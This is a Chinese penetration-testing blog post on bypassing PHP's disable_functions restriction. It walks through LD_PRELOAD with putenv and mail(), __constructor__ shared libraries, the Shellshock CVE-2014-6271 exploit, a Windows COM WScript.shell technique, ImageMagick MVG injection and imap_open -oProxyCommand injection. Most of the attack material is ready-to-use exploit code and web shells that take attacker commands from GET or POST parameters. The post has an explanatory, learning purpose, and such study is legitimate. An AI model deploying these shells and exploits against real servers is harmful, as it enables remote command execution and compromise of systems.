1. 首页
  2. 渗透测试

Bypass disable_functions学习

disable_functions简介

PHP配置文件中的disable_functions选项,用于禁用一些危险函数,可用户自定义。

渗透中常见的可执行系统命令的函数如下:
passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,
ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_exec

bypass 学习

写在前面的废话

脚本拿过来都会用,但是不懂原理跟废物没啥区别,我不想做废物所以学习了一下。
文章记录一些常见的bypass方法,不包括由于黑名单过滤不全导致的问题,如:忘记过滤pcntl_exec等。

PHP执行命令函数

assert,system,passthru,exec(“),pcntl_exec,shell_exec,popen,proc_open

LD_PRELOAD

LD_PRELOAD是linux系统的一个环境变量,它可以影响程序的运行时的链接,它允许你定义在程序运行前优先加载的动态链接库。

用个例子来了解LD_PRELOAD:

/*
  passwd.c 
*/

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
    char passwd[] = "password";

    if (argc < 2) {
        printf("usage: %s <password>n", argv[0]);
        return;
    }

    if (!strcmp(passwd, argv[1])) {
        printf("Correct Password!n");
        return;
    }

    printf("Invalid Password!n");
}

/* hack.c */

#include <stdio.h>
#include <string.h>

int strcmp(const char *s1, const char *s2)
{
        printf("hack function invoked. s1=<%s> s2=<%s>/n", s1, s2);
        /* 永远返回0,表示两个字符串相等 */
        return 0;

}

$ gcc -o verifypasswd passwd.c

$ gcc -shared -fPIC -o hack.so hack.c

/* 依次执行以下命令效果如下图 */
[[email protected] disable_func]# ./verifypasswd 123456
[[email protected] disable_func]# export LD_PRELOAD="./hack.so"
[[email protected] disable_func]# ./verifypasswd 123456

*可以发现程序载入了我们重写的strcmp函数

Bypass disable_functions学习


putenv

设置环境变量的值 (PHP 4, PHP 5, PHP 7)

/* 用法 */
putenv ( string `$setting` ) : bool (添加 `setting` 到服务器环境变量。)
环境变量仅存活于当前请求期间。 在请求结束时环境会恢复到初始状态。(简单来说就是临时的环境变量修改,脚本运行结束时恢复)

Bypass disable_functions学习


利用LD_PRELOAD + putenv bypass (linux)

php mail()

php中的mail()函数运行时会启动子进程调用sendmail,因此我们只要找一个sendmail使用的函数,利用LD_PRELOAD优先加载动态链接库来覆盖掉原函数即可。

Bypass disable_functions学习

bypass的简单实现

/* hack.c */
#include <stdlib.h>                                                                       #include <stdio.h>                                                                       #include <string.h>                                                                                                                                                                 int geteuid()                                                                           
{                                                                                              if (getenv("LD_PRELOAD") == NULL) { return 0; }
     unsetenv("LD_PRELOAD");                                                                  system("whoami > /tmp/user");                                                      
} 
/* bypass.php */
<?php

putenv("LD_PRELOAD=./hack.so");
mail('','','','');
?>
[[email protected] html]# gcc -shared -fPIC -o hack.so hack.c  
[[email protected] html]# php bypass.php

Bypass disable_functions学习


__attribute__ ((__constructor__))

用法:__attribute__((attribute-list))

括号内为attribute的参数。

/* __attribute__ ((__constructor__)) */
constructor参数,让系统执行main()函数之前调用(被__attribute__ ((__constructor__))修饰过的函数)。这一点感觉就是PHP反序列化总的析构函数?。简单来说,就是最先执行__attribute__ ((__constructor__))修饰过的函数。
#define _GNU_SOURCE                                                                                                                                                                 #include <stdlib.h>                                                                       #include <stdio.h>                                                                       #include <string.h>                                                                                                                                                                 __attribute__ ((__constructor__)) void preload (void)
{
    unsetenv("LD_PRELOAD");
    system("whoami > /tmp/user");
}

完整实现

简单修改了下PHP脚本.

/* hack.c */

#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
    // 这里是通过PHP putenv获取的环境变量来达到动态执行系统命令
    const char* bashshell = getenv("EVIL_CMDLINE");

    // 注销掉环境变量
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '';
            }
    }

    // executive command
    system(bashshell);
}

/* bypass.php */

<?php  
$shell = $_POST['shell'] . " > /tmp/xx 2>&1";                                             putenv("SHELL=" . $shell);                                                               putenv("LD_PRELOAD=./bypass.so");                                                         mail("", "", "", "");                                                                                                                                                               ?>                                                                                       <html>                                                                                   <head>                                                                                   <meta charset="utf-8">                                                                   </head>                                                                                   <body bgcolor="#3c3f42">                                                                 <form action="" method="post">                                                           <input name="shell"><input type="submit" value="go">                                     </form>                                                                                   <?php echo "<pre style='color: #00fe00'>>  ".nl2br(file_get_contents('/tmp/xx'))."</pre>";unlink('/tmp/xx');?>                                                             </body>                                                                                   </html>

Bypass disable_functions学习

  • 后期有时间再改改吧,感觉还是不是特别方便使用。

利用Bash破壳漏洞(CVE-2014-6271)绕过

直接看代码吧,利用破壳漏洞,没什么过多解释的。

<?php 
# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions) 
# Google Dork: none 
# Date: 10/31/2014 
# Exploit Author: Ryan King (Starfall) 
# Vendor Homepage: http://php.net 
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror 
# Version: 5.* (tested on 5.6.2) 
# Tested on: Debian 7 and CentOS 5 and 6 
# CVE: CVE-2014-6271 

function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283 
   $tmp = tempnam(".","data"); 
   putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1"); 
   // In Safe Mode, the user may only alter environment variableswhose names 
   // begin with the prefixes supplied by this directive. 
   // By default, users will only be able to set environment variablesthat 
   // begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty, 
   // PHP will let the user modify ANY environment variable! 
   mail("[email protected]","","","","-bv"); // -bv so we don't actuallysend any mail 
   $output = @file_get_contents($tmp); 
   @unlink($tmp); 
   if($output != "") return $output; 
   else return "No output, or not vuln."; 
} 
echo shellshock($_REQUEST["cmd"]); 
?

Windows下的Bypass

利用Windows系统组件COM绕过

Windows系统组件COM在Windows默认就存在,是位于System32目录下的wshom.ocx文件。(windows下的bypass方法比较少。)

# 去掉php.ini中 com.allow_dcom前面的分号;。
; allow Distributed-COM calls
; http://php.net/com.allow-dcom
com.allow_dcom = true

# 在php/ext/中查找php_com_dotnet.dll是否存在,并去掉php.ini中extension=php_com_dotnet.dll前面的分号。
# 查看phpinfo确认开启

Bypass disable_functions学习

Bypass disable_functions学习

POC

<?php
$command = $_GET['cmd'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

Bypass disable_functions学习


利用ImageMagick绕过

利用了ImageMagick的rce漏洞,直接附exp吧。

<?php
echo "Disable Functions: " . ini_get('disable_functions') . "n";
$command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
if ($command == '') {
    $command = 'id';
}
$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|$command")'
pop graphic-context
EOF;
file_put_contents("KKKK.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('KKKK.mvg');
$thumb->writeImage('KKKK.png');
$thumb->clear();
$thumb->destroy();
unlink("KKKK.mvg");
unlink("KKKK.png");
?>

利用imap_open()绕过

同样并非默认安装的组件,简单的记录一下好了。

imap_open ( string $mailbox , string $username , string $password [, int $options = 0 [, int $n_retries = 0 [, array $params = array() ]]] ) : resource
利用的简单原理:
在没有禁用enable_insecure_rsh选项的条件下,用户通过传入mailbox参数可导致rce。
该漏洞的存在是因为受影响的软件的imap_open函数在将邮箱名称传递给rsh或ssh命令之前不正确地过滤邮箱名称。如果启用了rsh和ssh功能并且rsh命令是ssh命令的符号链接,则攻击者可以通过向目标系统发送包含-oProxyCommand参数的恶意IMAP服务器名称来利用此漏洞。成功的攻击可能允许攻击者绕过其他禁用的exec 受影响软件中的功能,攻击者可利用这些功能在目标系统上执行任意shell命令。

*以上引用的尾部链接中的话。
/* exp */
<?php
error_reporting(0);
if (!function_exists('imap_open')) {
        die("no imap_open function!");
}
$server = "x -oProxyCommand=echot" . base64_encode($_GET['cmd'] . ">/tmp/cmd_result") . "|base64t-d|sh}";
//$server = 'x -oProxyCommand=echo$IFS$()' . base64_encode($_GET['cmd'] . ">/tmp/cmd_result") . '|base64$IFS$()-d|sh}';
imap_open('{' . $server . ':143/imap}INBOX', '', ''); // or var_dump("nnError: ".imap_last_error());
sleep(5);
echo file_get_contents("/tmp/cmd_result");
?>

分析:如何在PHP安装中绕过disable_functions

利用PHP 7.4 FFI绕过

FFI(Foreign Function Interface),即外部函数接口,允许从用户区调用C代码。简单地说,就是一项让你在PHP里能够调用C代码的技术。
可以通过php代码调用C的system函数。

从RCTF nextphp看PHP7.4的FFI绕过disable_functions

推荐一个不错的项目

自己想写个类似的,已经写了一部分,结果写文章的时候发现l3m0n师傅已经写好了。

Github: Bypass_disablefunc

后话

dl()函数再php5.3后面的版本被移除了,所以文章没有提及。

参考

深入浅出LD_PRELOAD & putenv()

警惕UNIX下的LD_PRELOAD

PHP Execute Command Bypass Disable_functions

浅谈几种Bypass-disable-functions的方法

原创文章,作者:s1ye,未经授权禁止转载!如若转载,请联系作者:s1ye

发表评论

电子邮件地址不会被公开。 必填项已用*标注

联系我们

在线咨询:点击这里给我发消息

QR code